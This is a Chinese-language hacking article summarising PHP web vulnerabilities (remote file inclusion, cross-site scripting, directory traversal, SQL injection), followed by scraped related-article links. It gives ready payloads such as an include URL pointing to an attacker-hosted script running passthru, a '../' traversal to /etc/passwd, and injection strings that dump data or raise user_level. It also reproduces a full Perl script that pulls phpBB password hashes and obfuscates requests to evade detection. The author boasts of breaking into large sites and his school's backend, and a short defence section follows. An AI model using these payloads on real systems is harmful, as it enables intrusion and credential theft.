PHP网站漏洞的相关总结

  从现在的网络安全来看,大家最关注和接触最多的WEB页面漏洞应该是ASP了,在这方面,小竹是专家,我没发言权.然而在PHP方面来看,也同样存在很严重的安全问题,但是这方面的文章却不多.在这里,就跟大家来稍微的讨论一下PHP页面的相关漏洞吧.

  我对目前常见的PHP漏洞做了一下总结,大致分为以下几种:包含文件漏洞,脚本命令执行漏洞,文件泄露漏洞,SQL注入漏洞等几种.当然,至于COOKIE欺骗等一部分通用的技术就不在这里讨论了,这些资料网上也很多.那么,我们就一个一个来分析一下怎样利用这些漏洞吧!

  首先,我们来讨论包含文件漏洞.这个漏洞应该说是PHP独有的吧.这是由于不充分处理外部提供的恶意数据,从而导致远程攻击者可以利用这些漏洞以WEB进程权限在系统上执行任意命令.我们来看一个例子:假设在a.php中有这样一句代码:
  <?php
  include($include."/xxx.php");
  ?>
  在这段代码中,$include一般是一个已经设置好的路径,但是我们可以通过自己构造一个路径来达到攻击的目的.比方说我们提交:a.php?include=http://web/b.php,这个web是我们用做攻击的空间,当然,b.php也就是我们用来攻击的代码了.我们可以在b.php中写入类似于:passthru("/bin/ls /etc");的代码.这样,就可以执行一些有目的的攻击了.(注:web服务器应该不能执行php代码,不然就出问题了.相关详情可以去看<<如何对PHP程序中的常见漏洞进行攻击>>).在这个漏洞方面,出状况的很多,比方说:PayPal Store Front,
HotNews,Mambo Open Source,PhpDig,YABB SE,phpBB,InvisionBoard,SOLMETRA SPAW Editor,Les Visiteurs,PhpGedView,X-Cart等等一些.

  接着,我们再来看一下脚本命令执行漏洞.这是由于对用户提交的URI参数缺少充分过滤,提交包含恶意HTML代码的数据,可导致触发跨站脚本攻击,可能获得目标用户的敏感信息。我们也举个例子:在PHP Transparent的PHP PHP 4.3.1以下版本中的index.php页面对PHPSESSID缺少充分的过滤,我们可以通过这样的代码来达到攻击的目的:
  http://web/index.php?PHPSESSID="><script>...</script>在script里面我们可以构造函数来获得用户的一些敏感信息.在这个漏洞方面相对要少一点,除了PHP Transparent之外还有:PHP-Nuke,phpBB,PHP Classifieds,PHPix,Ultimate PHP Board等等.

  再然后,我们就来看看文件泄露漏洞了.这种漏洞是由于对用户提交参数缺少充分过滤,远程攻击者可以利用它进行目录遍历攻击以及获取一些敏感信息。我们拿最近发现的phpMyAdmin来做例子.在phpMyAdmin中,export.php页面没有对用户提交的'what'参数进行充分过滤,远程攻击者提交包含多个'../'字符的数据,便可绕过WEB ROOT限制,以WEB权限查看系统上的任意文件信息。比方说打入这样一个地址:export.php?what=../../../../../../etc/passwd%00 就可以达到文件泄露的目的了.在这方面相对多一点,有:myPHPNuke,McNews等等.

  最后,我们又要回到最兴奋的地方了.想想我们平时在asp页面中用SQL注入有多么爽,以前还要手动注入,一直到小竹悟出"SQL注入密笈"(嘿嘿),然后再开做出NBSI以后,我们NB联盟真是拉出一片天空.曾先后帮CSDN,大富翁论坛,中国频道等大型网站找出漏洞.(这些废话不多说了,有点跑题了...).还是言规正传,其实在asp中SQL的注入和php中的SQL注入大致相同,只不过稍微注意一下用的几个函数就好了.将asc改成ASCII,len改成LENGTH,其他函数基本不变了.其实大家看到PHP的SQL注入,是不是都会想到PHP-NUKE和PHPBB呢?不错,俗话说树大招分,像动网这样的论坛在asp界就该是漏洞这王了,这并不是说它的论坛安全太差,而是名气太响,别人用的多了,研究的人也就多了,发现的安全漏洞也就越多了.PHPBB也是一样的,现在很大一部分人用PHP做论坛的话,一般都是选择了PHPBB.它的漏洞也是一直在出,从最早phpBB.com phpBB 1.4.0版本被人发现漏洞,到现在最近的phpBB 2.0.6版本的groupcp.php,以及之前发现的search.php,profile.php,viewtopic.php等等加起来,大概也有十来个样子吧.这也一直导致,一部分人在研究php漏洞的时候都会拿它做实验品,所谓百练成精嘛,相信以后的PHPBB会越来越好.

  好了,我们还是来分析一下漏洞产生的原因吧.拿viewtopic.php页面来说,由于在调用viewtopic.php时,直接从GET请求中获得"topic_id"并传递给SQL查询命令,而并没有进行一些过滤的处理,攻击者可以提交特殊的SQL字符串用于获得MD5密码,获得此密码信息可以用于自动登录或者进行暴力破解。(我想应该不会有人想去暴力破解吧,除非有特别重要的原因).先看一下相关源代码:
#   if ( isset($HTTP_GET_VARS[POST_TOPIC_URL]) )
#   {
#      $topic_id = intval($HTTP_GET_VARS[POST_TOPIC_URL]);
#   }
#   else if ( isset($HTTP_GET_VARS['topic']) )
#   {
#      $topic_id = intval($HTTP_GET_VARS['topic']);
#   }
从上面我们可以看出,如果提交的view=newest并且sid设置了值的话,执行的查询代码像下面的这个样子(如果你还没看过PHPBB源代码的话,建议你看了再对着这里来看,受影响系统为:phpBB 2.0.5和phpBB 2.0.4).
#       $sql = "SELECT p.post_id
#       FROM " . POSTS_TABLE . " p, " . SESSIONS_TABLE . " s, " . USERS_TABLE . " u
#       WHERE s.session_id = '$session_id'
#         AND u.user_id = s.session_user_id
#         AND p.topic_id = $topic_id
#         AND p.post_time >= u.user_lastvisit
#       ORDER BY p.post_time ASC
#       LIMIT 1";
Rick提供了下面的这断测试代码:
use IO::Socket;
$remote = shift || 'localhost';
$view_topic = shift || '/phpBB2/viewtopic.php';
$uid = shift || 2;
$port = 80;
$dbtype = 'mysql4';  # mysql4 or pgsql
print "Trying to get password hash for uid $uid server $remote dbtype: $dbtype\n";
$p = "";
for($index=1; $index<=32; $index++)
{
   $socket = IO::Socket::INET->new(PeerAddr => $remote,
               PeerPort => $port,
               Proto => "tcp",
               Type => SOCK_STREAM)
   or die "Couldnt connect to $remote:$port : $@\n";
   $str = "GET $view_topic" . "?sid=1&topic_id=-1" . random_encode(make_dbsql()) . "&view=newest" . " HTTP/1.0\n\n";
   print $socket $str;
   print $socket "Cookie: phpBB2mysql_sid=1\n";  # replace this for pgsql or remove it
   print $socket "Host: $remote\n\n";
   while ($answer = <$socket>)
   {
        if ($answer =~ /location:.*\x23(\d+)/) # Matches the location: viewtopic.php?p=<num>#<num>
        {
            $p .= chr ();
        }
   }
   close($socket);
}
print "\nMD5 Hash for uid $uid is $p\n";
# random encode str. helps avoid detection
sub random_encode
{
   $str = shift;
   $ret = "";
   for($i=0; $i<length($str); $i++)
   {
        $c = substr($str,$i,1);
        $j = rand length($str) * 1000;

        if (int($j) % 2 || $c eq ' ')
        {
            $ret .= "%" . sprintf("%x",ord($c));
        }
        else
        {
            $ret .= $c;
        }
   }
   return $ret;
}
sub make_dbsql
{
   if ($dbtype eq 'mysql4')
   {
        return " union select ord(substring(user_password," . $index . ",1)) from phpbb_users where user_id=$uid/*" ;
   } elsif ($dbtype eq 'pgsql')
   {
        return "; select ascii(substring(user_password from $index for 1)) as post_id from phpbb_posts p, phpbb_users u where u.user_id=$uid or false";
   }
   else
   {
        return "";
   }
}
这断代码,我就不多做解释了.作用是获得HASH值.

  看到这里,大家可能有点疑问,为什么我前面讲的那些改的函数怎么没有用到,我讲出来不怕大家笑话:其实网上很多站点有些页面的查询语句看起来会是这样:
display.php?sqlsave=select+*+from+aaa+where+xx=yy+order+by+bbb+desc
不要笑,这是真的,我还靠这个进过几个大型网站.至于哪一些,不好讲出来,不过我们学校的网站,我就是靠这个进后台的(希望学校网络中心的看不到这篇文章,^_^).把前面那函数用上吧.不然你只有改人家的密码了哦!!!

  差点忘了一点,在SQL注入的时候,PHP与ASP有所不同,mysql对sql语句的运用没有mssql灵活,因此,很多在mssql上可以用的查询语句在mysql数据库中都不能奏效了. 一般我们常见的注入语句像这样:aaa.php?id=a' into outfile 'pass.txt或是aaa.php?id=a' into outfile 'pass.txt' /*再进一步可以改成:aaa.php?id=a' or 1=1 union select id,name,password form users into outfile 'c:/a.txt
这样可以将数据库数据导出为文件,然后可以查看.
  或是这样:mode=',user_level='4
这个语句一般用在修改资料时,假设页面存在漏洞的话,就可以达到提升权限的做用.
其它的如' OR 1=1 -- 或者:1' or 1='1则跟asp差不多.这里不多讲了.在php里面,SQL注入看来还是漏洞之首啊,有太多的页面存在这个问题了.

  其实大家可以看出来,上面那些分类归根结底只有一个原因:提交参数没过滤或是过滤不够严谨.黑客防线向来有攻有守.这里,就大致讲一下防范的方法吧.
  
  首先,我个人认为最重要的一点是将magic_quotes_gpc高为ON,它的作用是将单引号,双引号,反斜线,和空字符转换为含有反斜线的字符,如select * from admin where username='$username' and password='$password'语句,攻击者想用1' or 1='1跳过验证,但是,那些字符串将被转换成这样:select * from admin where username='a' and password='1\' or 1=\'1'从而达到阻止注入的目的,事实也就是自动进行了addslashes()操作.再不行的话,自己定义函数处理吧.现在看来,那些搞PHP注入的人也比较郁闷,因为myslq4以下版本不支持子语句,而新版本的mysql又会将magic_quotes_gpc选项默认为开.

  解决包含文件漏洞用的方法就是:要求程序员包含文件里的参数尽量不要使用变量,如果使用变量,就一定要严格检查要包含的文件名,绝对不能由用户任意指定,建议设global_variables为off。如前面文件打开中限制PHP操作路径是一个必要的选项。另外,如非特殊需要,一定要关闭PHP的远程文件打开功能。修改php.ini文件:allow_url_fopen = Off(注:参见<<PHP安全问题:远程溢出、DoS、safe_mode绕过漏洞>>).

  还有一点我觉得很多网站都会有这个问题,就是没有关错误显示.轻一看可能没什么,但是一些盯了很久(用词有点不对哦)的人就可以通过错误提示来获得如数据库信息,网页文件物理路径等等。

时间: 2024-11-01 02:40:06

PHP网站漏洞的相关总结的相关文章

SEO优化别忽略网站漏洞的影响

一直人们都认为seo优化只会跟网站本身架构和外链的质量相关,所以网站安全是不会影响网站的SEO优化的,其实这种想法是错误的.网站安全其实跟SEO是密切相关的,特别在百度,谷歌相继对网站的安全性的重视的2011.其实网站安全狭义就是指网站的漏洞,网站漏洞指就是硬件.软件或者策略上的缺陷,让攻击者能够在未授权的情况下访问网站,并进行各种恶意行为,如插入恶意木马或者是恶意更改网页. 为什么说网站安全会影响SEO优化,主要是因为网站漏洞要带来以下几点问题: 一.网站漏洞可以让黑客插入恶意木马 在国内,病

破解索尼PS4系列:利用网页漏洞实现相关的ROP攻击(一)

本文讲的是破解索尼PS4系列:利用网页漏洞实现相关的ROP攻击(一), 目前关于PS4的黑客攻击还非常的少,但这并不能说明PS4 系统非常安全,黑客不会对其发动攻击.本文的目的就是找出PS4的一系列漏洞,最终来获得PS4的内核执行代码. PlayStation 4(简称PS4),是索尼电脑娱乐公司(SCE)推出的家用游戏机.是PlayStation游戏机系列的第四代游戏主机.PlayStation 4采用以AMD为基础的x86-64架构处理器(8核) 除了有一个记录良好的架构处理器,PS4中使用

价值7k美刀的Flickr网站漏洞是怎么样的?

本文讲的是价值7k美刀的Flickr网站漏洞是怎么样的?,Flickr是雅虎旗下图片分享网站,Reizelman发现该网站存在三个漏洞,三个漏洞相互配合使用,可以接管他人Flickr帐户. Flickr.com登录流程概述     Reizelman发现每次用户登录Flickr.com网站时,都会被重定向到login.yahoo.com域用于身份验证.     https://login.yahoo.com/config/login?.src=flickrsignin&.pc=8190&.

专家建议网站漏洞要及时修复

360互联网安全中心日前发布的<中国网站安全报告(2015)>显示,网站漏洞仍然比较严重,并且修复率不到一成.对此,专家建议应及时修复漏洞,避免不必要的损失. 据悉,数十亿条个人信息面临泄露危险.按照被攻击次数,2015年北京.苏州等十城市遭受漏洞攻击超过12亿次,其中,北京遭到攻击的IP最多,高达2.9亿个. 黑客对网站发动攻击包括用漏洞入侵网站,对网站发动流量攻击,或在网站内植入木马,引导网民转向恶意网址. 据360互联网安全中心专家裴智勇博士介绍,从各种漏洞类型来看,跨站脚本攻击漏洞(2

网站漏洞“一键修复” 安全宝斥资千万提升用户网站安全

4月11日,创新工场旗下的"安全宝"宣布,推出业内首创的网站漏洞"一键修复"功能.同时,为了让用户更好地感受"一键修复"功能带来的安全提升与服务特点,安全宝斥资1000万元,从即日起为新注册用户提供10000个免费名额,赠送价值999元的12次"一键修复"服务,网站用户只需要登录安全宝网站(999.anquanbao.com),即可免费体验到全面的网站安全体检及先进的"一键修复"服务. 从此,网站安全体检,

公安部公布“徐玉玉被骗案”细节:网站漏洞被利用,考生信息五毛一条

   雷锋网(公众号:雷锋网)按:本文来自"公安部刑侦局",原文标题为<"徐玉玉被骗案"被告人供述案件细节>,宅客频道做了不改变原意的删减. 6月27日上午,徐玉玉被电信诈骗案在山东省临沂市中级人民法院一审公开开庭审理.陈文辉等7名被告人被指控的罪名是诈骗罪和侵犯公民个人信息罪.在今天的庭审中被告人陈文辉的辩护人邀请临沂市公安局刑侦支队法医作为鉴定人出庭作证,公诉机关则邀请了华中科技大学同济医学院和中国政法大学证据科学研究院两位教授作为专业人士出庭作证.

对Web开发人员有用的8个网站小结_相关技巧

1. Min.us: 上传图片的最简单方 开发人员有用的8个网站小结_相关技巧-web前端开发培训小结"> 任何开发人员.设计师.网络管理员都必须跟客户和同事在线分享图片.Min.us的全部服务就是让你极度简单地上传图片:只需把图片拖拽到Min.us的网页里,图片就会保存在服务器上.并且自动生成短网址,这样你就可以通过这个网站分享图片了. 访问Min.us 2.Wirify:把任何网页转换成线框图 设计网站时线框图非常有用.Wirify是一个可以把任何网页立刻转换成线框图的书签工具,这样你

“网站漏洞”成电信诈骗帮凶 专家呼吁进行“立体防护”

近日,备受关注的山东准大学生徐玉玉遭电信诈骗后死亡案告破. 根据9月10日公安部公布的徐玉玉案诈骗细节,嫌疑人利用技术手段攻破"山东省2016高考网上报名信息系统", 并在网站植入木马病毒,获取了网站后台登录权限,盗取了包括徐玉玉在内的大量考生报名信息. 根据公开报道信息,2011年至今,已有累计13亿条用户隐私信息因网站漏洞被泄漏.记者在采访中获悉,虽然信息泄漏事件愈演愈烈,但网站安全问题却被普遍漠视,很多企业明明知道自己被拖库,用户信息已被泄露,仍然采取"捂盖子"

去年底的多网站泄密危机主因在于网站漏洞遭黑客利用

360安全中心今日对外发布<2011年度互联网网站安全报告>.报告指出,去年底的多网站泄密危机主因在于网站漏洞遭黑客利用.而据网站安全检测平台对随机抽取的93233个国内网站分析发现,存在高危漏洞的网站比例达36%,存在中危漏洞的网站则有16%,两者合计比例高达52%,国内网站安全防护能力仍有待完善. 据悉,2011年全球多家企业.机构网站陆续遭受安全威胁.去年3月份以来,RSA被攻击导致SecurID令牌身份信息被盗.索尼公司7700万信息泄露.美国花旗银行被入侵.微软MSN遭大规模盗号等重